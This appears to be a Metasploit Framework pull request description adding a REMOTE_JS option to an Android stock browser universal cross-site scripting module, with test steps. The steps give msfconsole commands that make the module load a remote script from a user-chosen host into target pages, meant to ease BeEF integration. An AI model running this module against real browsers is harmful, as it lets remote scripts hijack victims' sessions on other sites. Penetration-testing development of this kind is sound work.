rapid7/metasploit-framework — pull request #3801 by jvennix-r7 (2014-09-16 18:33:56+00:00)
Title: Add a REMOTE_JS datastore option to the android UXSS module

This makes BeEf integration a bit easier.

##### Verification

- [ ] Create and host a `test.js` script somewhere that just contains `alert("WIN");`.
- [ ] Configure the module to use the REMOTE_JS option:

msf> use auxiliary/gather/android_stock_browser_uxss
msf> set TARGET_URLS http://example.com
msf> set REMOTE_JS http://yourip/test.js

- [ ] Browse to the URL on your phone, you should see a popup containing "WIN"
- [ ] Set the REMOTE_JS option to '', rerun the module, ensure it still works as expected.